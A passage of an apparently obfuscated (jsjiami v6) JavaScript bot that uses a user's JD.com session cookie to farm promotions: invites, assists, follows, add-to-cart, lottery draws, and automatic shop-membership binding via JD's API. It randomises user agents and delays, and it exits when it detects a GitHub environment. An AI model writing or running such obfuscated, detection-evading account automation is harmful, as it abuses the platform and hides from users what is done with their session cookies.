$[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xbb8,0xa));}$[_0x3a6d('53')]=![];await takePostRequest('\u9080\u8bf7');if($[_0x3a6d('53')]){await takePostRequest('\u52a9\u529b');}$[_0x3a6d('7')](_0x3a6d('54')+$[_0x3a6d('55')]);if(!$[_0x3a6d('55')]&&!$[_0x3a6d('16')]){_0x444366=!![];await takePostRequest(_0x3a6d('55'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xbb8,0xa));}$[_0x3a6d('7')](_0x3a6d('56')+$[_0x3a6d('57')]);if(!$[_0x3a6d('57')]&&!$[_0x3a6d('16')]){if(guaopencard_addSku+''==_0x3a6d('18')){_0x444366=!![];await takePostRequest(_0x3a6d('57'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xfa0,0xa));}else{console[_0x3a6d('7')](_0x3a6d('58'));}}$[_0x3a6d('59')]=!![];$[_0x3a6d('7')](_0x3a6d('5a')+$[_0x3a6d('5b')]);if(!$[_0x3a6d('5b')]&&!$[_0x3a6d('16')]){_0x444366=!![];for(let _0x5f3943 of $[_0x3a6d('5c')]||[]){if($[_0x3a6d('59')]==![])break;if(_0x5f3943[_0x3a6d('5d')]&&_0x5f3943[_0x3a6d('4c')]===0x0){$[_0x3a6d('5e')]=_0x5f3943[_0x3a6d('5d')];await takePostRequest(_0x3a6d('5f'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0xbb8,0xa));}}}$[_0x3a6d('59')]=!![];for(m=0x1;$[_0x3a6d('60')]--;m++){if(Number($[_0x3a6d('60')])<=0x0)break;console[_0x3a6d('7')]('\u7b2c'+m+_0x3a6d('61'));await takePostRequest(_0x3a6d('62'));if($[_0x3a6d('59')]==![])break;await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0x7d0,0xa));}if(_0x444366){await takePostRequest(_0x3a6d('41'));}console[_0x3a6d('7')]($[_0x3a6d('63')]+_0x3a6d('64')+$[_0x3a6d('65')]);await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x7d0,0xa));await takePostRequest(_0x3a6d('66'));await takePostRequest(_0x3a6d('67'));if($[_0x3a6d('16')]){console[_0x3a6d('7')](_0x3a6d('3b'));return;}console[_0x3a6d('7')]($[_0x3a6d('2c')]);console[_0x3a6d('7')](_0x3a6d('68')+$[_0x3a6d('20')]);if($[_0x3a6d('27')]==0x1){$[_0x3a6d('20')]=$[_0x3a6d('2c')];console[_0x3a6d('7')](_0x3a6d('69')+$[_0x3a6d('20')]);}await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x1388,0xa));if(_0x444366)await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x2710,0xa));if(guaopenwait){if($[_0x3a6d('27')]!=cookiesArr[_0x3a6d('24')]){console[_0x3a6d('7')]('\u7b49\u5f85'+guaopenwait+'\u79d2');await $[_0x3a6d('45')](parseInt(guaopenwait,0xa)*0x3e8);}}else{if($[_0x3a6d('27')]%0x3==0x0)console[_0x3a6d('7')](_0x3a6d('6a'));if($[_0x3a6d('27')]%0x3==0x0)await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x1388+0xea60,0xa));}}catch(_0x11778e){console[_0x3a6d('7')](_0x11778e);}}async function takePostRequest(_0x2f4bde){if($[_0x3a6d('16')])return;let _0x35b6b8=_0x3a6d('6b');let _0x527eef='';let _0x6c0b29=_0x3a6d('6c');let _0x5291ae='';switch(_0x2f4bde){case _0x3a6d('37'):_0x35b6b8=_0x3a6d('6d');_0x527eef=_0x3a6d('6e');break;case _0x3a6d('3c'):_0x35b6b8=_0x35b6b8+_0x3a6d('6f');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')];break;case _0x3a6d('3d'):_0x35b6b8=_0x35b6b8+_0x3a6d('71');_0x527eef=_0x3a6d('72')+($[_0x3a6d('73')]||$[_0x3a6d('4e')]||'')+_0x3a6d('74')+$[_0x3a6d('35')]+_0x3a6d('75');break;case _0x3a6d('3f'):_0x35b6b8=_0x35b6b8+_0x3a6d('76');let _0x5160c4=_0x35b6b8+_0x3a6d('77')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')];_0x527eef=_0x3a6d('78')+($[_0x3a6d('73')]||$[_0x3a6d('4e')]||'')+_0x3a6d('79')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('7a')+$[_0x3a6d('1e')]+_0x3a6d('7b')+encodeURIComponent(_0x5160c4)+_0x3a6d('7c');break;case _0x3a6d('40'):_0x35b6b8=_0x35b6b8+_0x3a6d('7d');_0x527eef=_0x3a6d('7e')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('41'):_0x35b6b8=_0x35b6b8+_0x3a6d('7f');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('81')+encodeURIComponent($[_0x3a6d('82')])+_0x3a6d('83')+encodeURIComponent($[_0x3a6d('84')])+_0x3a6d('85')+$[_0x3a6d('20')];break;case _0x3a6d('44'):_0x35b6b8=_0x35b6b8+_0x3a6d('86');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('49'):_0x35b6b8=_0x35b6b8+_0x3a6d('87');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('48'):_0x35b6b8=_0x35b6b8+_0x3a6d('88');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('62'):_0x35b6b8=_0x35b6b8+_0x3a6d('89');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('52'):_0x35b6b8=_0x35b6b8+_0x3a6d('8a');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('55'):case _0x3a6d('57'):case _0x3a6d('5f'):_0x35b6b8=_0x35b6b8+_0x3a6d('8b')+_0x2f4bde;_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);if(_0x2f4bde==_0x3a6d('5f'))_0x527eef+=_0x3a6d('8c')+$[_0x3a6d('5e')];break;case'\u9080\u8bf7':case'\u52a9\u529b':if(_0x2f4bde=='\u52a9\u529b'){_0x35b6b8=_0x35b6b8+_0x3a6d('8d');}else{_0x35b6b8=_0x35b6b8+_0x3a6d('8e');}_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('23')+$[_0x3a6d('20')];break;case _0x3a6d('8f'):case _0x3a6d('5b'):case _0x3a6d('90'):case _0x3a6d('91'):_0x35b6b8=_0x35b6b8+_0x3a6d('92');let _0x514aac='';let _0x2645df='';if(_0x2f4bde==_0x3a6d('8f')){_0x514aac=0x1f;_0x2645df=0x1f;}else if(_0x2f4bde==_0x3a6d('5b')){_0x514aac=0x5;_0x2645df=$[_0x3a6d('5e')]||0x5;}else if(_0x2f4bde==_0x3a6d('90')){_0x514aac=0xe;_0x2645df=$[_0x3a6d('93')]||0xe;}else if(_0x2f4bde==_0x3a6d('91')){_0x514aac=0x2;_0x2645df=$[_0x3a6d('94')]||0x2;}_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('95')+$[_0x3a6d('2c')]+_0x3a6d('96')+_0x514aac+_0x3a6d('97')+_0x2645df;break;case _0x3a6d('66'):_0x35b6b8=_0x35b6b8+_0x3a6d('98');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('95')+$[_0x3a6d('2c')];break;case _0x3a6d('67'):_0x35b6b8=_0x35b6b8+_0x3a6d('99');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;default:console[_0x3a6d('7')]('\u9519\u8bef'+_0x2f4bde);}let _0x29bfd7=getPostRequest(_0x35b6b8,_0x527eef,_0x6c0b29);return new Promise(async _0x1372dd=>{$[_0x3a6d('9a')](_0x29bfd7,(_0xd49002,_0x1691d5,_0x57d898)=>{try{setActivityCookie(_0x1691d5);if(_0xd49002){if(_0x1691d5&&typeof _0x1691d5[_0x3a6d('9b')]!=_0x3a6d('9c')){if(_0x1691d5[_0x3a6d('9b')]==0x1ed){console[_0x3a6d('7')](_0x3a6d('3b'));$[_0x3a6d('16')]=!![];}}console[_0x3a6d('7')](''+$[_0x3a6d('9d')](_0xd49002,_0xd49002));console[_0x3a6d('7')](_0x2f4bde+_0x3a6d('9e'));}else{dealReturn(_0x2f4bde,_0x57d898);}}catch(_0x1ad428){console[_0x3a6d('7')](_0x1ad428,_0x1691d5);}finally{_0x1372dd();}});});}async function dealReturn(_0x18ddac,_0x40a705){let _0x5acf5c='';try{if(_0x18ddac!=_0x3a6d('3f')||_0x18ddac!=_0x3a6d('44')){if(_0x40a705){_0x5acf5c=JSON[_0x3a6d('9f')](_0x40a705);}}}catch(_0x4e1735){console[_0x3a6d('7')](_0x18ddac+_0x3a6d('a0'));console[_0x3a6d('7')](_0x40a705);$[_0x3a6d('59')]=![];}try{switch(_0x18ddac){case _0x3a6d('37'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a2')]==0x0){if(typeof _0x5acf5c[_0x3a6d('a3')]!=_0x3a6d('9c'))$[_0x3a6d('35')]=_0x5acf5c[_0x3a6d('a3')];}else if(_0x5acf5c[_0x3a6d('a4')]){console[_0x3a6d('7')](_0x3a6d('a5')+(_0x5acf5c[_0x3a6d('a4')]||''));}else{console[_0x3a6d('7')](_0x40a705);}}else{console[_0x3a6d('7')](_0x40a705);}break;case _0x3a6d('3c'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('73')]!=_0x3a6d('9c'))$[_0x3a6d('73')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('73')];if(typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('4e')]!=_0x3a6d('9c'))$[_0x3a6d('4e')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4e')];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('3d'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('a9')]!=_0x3a6d('9c'))$[_0x3a6d('36')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('a9')];if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('84')]!=_0x3a6d('9c'))$[_0x3a6d('84')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('84')];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('40'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('aa')]!=_0x3a6d('9c'))$[_0x3a6d('82')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('aa')]||_0x3a6d('ab');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('41'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){$[_0x3a6d('34')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('34')]||_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ac')][_0x3a6d('34')]||0x0;$[_0x3a6d('33')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ad')]||![];$[_0x3a6d('60')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('60')]||0x0;$[_0x3a6d('65')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('65')]||0x0;$[_0x3a6d('63')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('63')]||0x0;$[_0x3a6d('2c')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('2c')]||'';}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('48'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){$[_0x3a6d('57')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('57')]||![];$[_0x3a6d('52')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('52')]||![];$[_0x3a6d('55')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('55')]||![];$[_0x3a6d('5b')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('5b')]||![];$[_0x3a6d('5c')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('5c')]||[];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('49'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){let _0x30ab20=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('af')]||[];let _0x34fb30=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b0')]||[];let _0x45dea6=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b1')]||[];let _0x30e3aa=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b2')]||[];$[_0x3a6d('46')]=[..._0x45dea6,..._0x30ab20,..._0x34fb30,..._0x30e3aa];$[_0x3a6d('47')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('47')]||![];$[_0x3a6d('b3')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b4')]||0x0;$[_0x3a6d('b5')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b6')]||0x0;$[_0x3a6d('b7')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b7')]||0x0;}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('62'):case _0x3a6d('52'):case _0x3a6d('8f'):case _0x3a6d('5b'):case _0x3a6d('90'):case _0x3a6d('91'):case _0x3a6d('55'):case _0x3a6d('57'):case _0x3a6d('5f'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(typeof _0x5acf5c[_0x3a6d('a7')]==_0x3a6d('a1')){let _0x152372='';let _0x17e922='\u62bd\u5956';if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b8')]){_0x152372=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b8')]+'\u4eac\u8c46';}if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b9')]){_0x152372+='\x20'+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b9')]+_0x3a6d('ba');}if(_0x18ddac==_0x3a6d('52')){_0x17e922='\u5173\u6ce8';if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bb')]&&_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bc')]){_0x152372+=_0x3a6d('bd')+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bb')]+'\u4eac\u8c46';}}else if(_0x18ddac==_0x3a6d('91')||_0x18ddac==_0x3a6d('57')){_0x17e922='\u52a0\u8d2d';}else if(_0x18ddac==_0x3a6d('8f')){_0x17e922=_0x3a6d('be');}else if(_0x18ddac==_0x3a6d('90')){_0x17e922=_0x3a6d('bf');}else if(_0x18ddac==_0x3a6d('5b')||_0x18ddac==_0x3a6d('5f')){_0x17e922=_0x3a6d('c0');}else if(_0x18ddac==_0x3a6d('55')){_0x17e922='\u7b7e\u5230';}else{_0x152372=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c1')]==!![]&&(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c2')]==0x6&&_0x5acf5c[_0x3a6d('a7')][_0x3a6d('1b')]||'')||_0x3a6d('c3');}if(!_0x152372){_0x152372=_0x3a6d('c3');}console[_0x3a6d('7')](_0x17e922+_0x3a6d('c4')+(_0x152372||_0x40a705));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else if(_0x5acf5c[_0x3a6d('a8')]){$[_0x3a6d('59')]=![];console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('66'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){console[_0x3a6d('7')](_0x3a6d('c5'));let _0x2fdb72=0x0;let _0x1beab1=0x0;for(let _0x19e3a2 in _0x5acf5c[_0x3a6d('a7')][_0x3a6d('c6')]){let _0x23a386=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c6')][_0x19e3a2];if(_0x23a386[_0x3a6d('c7')]==_0x3a6d('c8')){_0x2fdb72++;_0x1beab1=_0x23a386[_0x3a6d('c7')][_0x3a6d('c9')]('\u4eac\u8c46','');}else{console[_0x3a6d('7')](''+(_0x23a386[_0x3a6d('ca')]!=0xa&&_0x23a386[_0x3a6d('cb')]&&_0x23a386[_0x3a6d('cb')]+'\x3a'||'')+_0x23a386[_0x3a6d('c7')]);}}if(_0x2fdb72>0x0)console[_0x3a6d('7')](_0x3a6d('cc')+_0x2fdb72+'\x29\x3a'+(_0x2fdb72*parseInt(_0x1beab1,0xa)||0x1e)+'\u4eac\u8c46');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('67'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]&&_0x5acf5c[_0x3a6d('a7')]){$[_0x3a6d('cd')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ce')][_0x3a6d('24')];$[_0x3a6d('7')](_0x3a6d('cf')+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ce')][_0x3a6d('24')]+'\u4e2a');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case'\u9080\u8bf7':case'\u52a9\u529b':if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0xc8){if(_0x18ddac=='\u52a9\u529b'){console[_0x3a6d('7')](_0x3a6d('d0'));}else{$[_0x3a6d('53')]=!![];}}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x69){console[_0x3a6d('7')](_0x3a6d('d1'));}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x68){console[_0x3a6d('7')](_0x3a6d('d2'));}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x65){}else{console[_0x3a6d('7')](_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}case _0x3a6d('3f'):case _0x3a6d('44'):break;default:console[_0x3a6d('7')](_0x18ddac+_0x3a6d('d3')+_0x40a705);}if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a8')]){if(_0x5acf5c[_0x3a6d('a8')][_0x3a6d('d4')]('\u706b\u7206')>-0x1){$[_0x3a6d('15')]=!![];}}}}catch(_0x1ce252){console[_0x3a6d('7')](_0x1ce252);}}function getPostRequest(_0x7cec1d,_0x1fb379,_0x34df10=_0x3a6d('6c')){let _0x3bd055={'Accept':_0x3a6d('d5'),'Accept-Encoding':_0x3a6d('d6'),'Accept-Language':_0x3a6d('d7'),'Connection':_0x3a6d('d8'),'Content-Type':_0x3a6d('d9'),'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x3a6d('da')};if(_0x7cec1d[_0x3a6d('d4')](_0x3a6d('6b'))>-0x1){_0x3bd055[_0x3a6d('db')]=_0x3a6d('dc')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')];_0x3bd055[_0x3a6d('dd')]=''+(lz_jdpin_token_cookie&&lz_jdpin_token_cookie||'')+($[_0x3a6d('36')]&&_0x3a6d('de')+$[_0x3a6d('36')]+'\x3b'||'')+activityCookie;}return{'\x75\x72\x6c':_0x7cec1d,'\x6d\x65\x74\x68\x6f\x64':_0x34df10,'\x68\x65\x61\x64\x65\x72\x73':_0x3bd055,'\x62\x6f\x64\x79':_0x1fb379,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}function getCk(){/* ck */return new Promise(_0x4e7ad0=>{let _0x57ff06={'\x75\x72\x6c':_0x3a6d('dc')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')],'\x66\x6f\x6c\x6c\x6f\x77\x52\x65\x64\x69\x72\x65\x63\x74':![],'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x3a6d('df')](_0x57ff06,async(_0x41ba0c,_0x569d10,_0x8ca25b)=>{try{if(_0x41ba0c){if(_0x569d10&&typeof _0x569d10[_0x3a6d('9b')]!=_0x3a6d('9c')){if(_0x569d10[_0x3a6d('9b')]==0x1ed){console[_0x3a6d('7')](_0x3a6d('3b'));$[_0x3a6d('16')]=!![];}}console[_0x3a6d('7')](''+$[_0x3a6d('9d')](_0x41ba0c));console[_0x3a6d('7')]($[_0x3a6d('1b')]+_0x3a6d('e0'));}else{let _0x4551cb=_0x8ca25b[_0x3a6d('26')](/(活动已经结束)/)&&_0x8ca25b[_0x3a6d('26')](/(活动已经结束)/)[0x1]||'';if(_0x4551cb){$[_0x3a6d('17')]=!![];console[_0x3a6d('7')](_0x3a6d('e1'));}setActivityCookie(_0x569d10);}}catch(_0x29105a){$[_0x3a6d('30')](_0x29105a,_0x569d10);}finally{_0x4e7ad0();}});});}function setActivityCookie(_0x15e39a){let _0x45d444='';let _0xbd0346='';let _0x17e729='';let _0x4b4f7c=_0x15e39a&&_0x15e39a[_0x3a6d('e2')]&&(_0x15e39a[_0x3a6d('e2')][_0x3a6d('e3')]||_0x15e39a[_0x3a6d('e2')][_0x3a6d('e4')]||'')||'';let _0x48b6c4='';if(_0x4b4f7c){if(typeof _0x4b4f7c!=_0x3a6d('a1')){_0x48b6c4=_0x4b4f7c[_0x3a6d('e5')]('\x2c');}else _0x48b6c4=_0x4b4f7c;for(let _0x290a7b of _0x48b6c4){let _0xbc7704=_0x290a7b[_0x3a6d('e5')]('\x3b')[0x0][_0x3a6d('e6')]();if(_0xbc7704[_0x3a6d('e5')]('\x3d')[0x1]){if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e7'))>-0x1)_0x45d444=_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e8'))>-0x1)_0xbd0346=_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e9'))>-0x1)_0x17e729=''+_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';}}}if(_0x45d444&&_0xbd0346)activityCookie=_0x45d444+'\x20'+_0xbd0346;if(_0x17e729)lz_jdpin_token_cookie=_0x17e729;}async function getUA(){$['\x55\x41']=_0x3a6d('ea')+randomString(0x28)+_0x3a6d('eb');}function randomString(_0xdd8f61){_0xdd8f61=_0xdd8f61||0x20;let _0x495697=_0x3a6d('ec'),_0x5943a3=_0x495697[_0x3a6d('24')],_0x4e7c43='';for(i=0x0;i<_0xdd8f61;i++)_0x4e7c43+=_0x495697[_0x3a6d('ed')](Math[_0x3a6d('ee')](Math[_0x3a6d('4f')]()*_0x5943a3));return _0x4e7c43;};_0xode='jsjiami.com.v6'; + + +function joinShop() { + if(!$.joinVenderId) return + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId() + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${$.joinVenderId}","shopId":"${$.joinVenderId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getshopactivityId() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${$.joinVenderId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + let res = $.toObj(data); + if(res.success == true){ + // console.log($.toStr(res.result)) + console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new 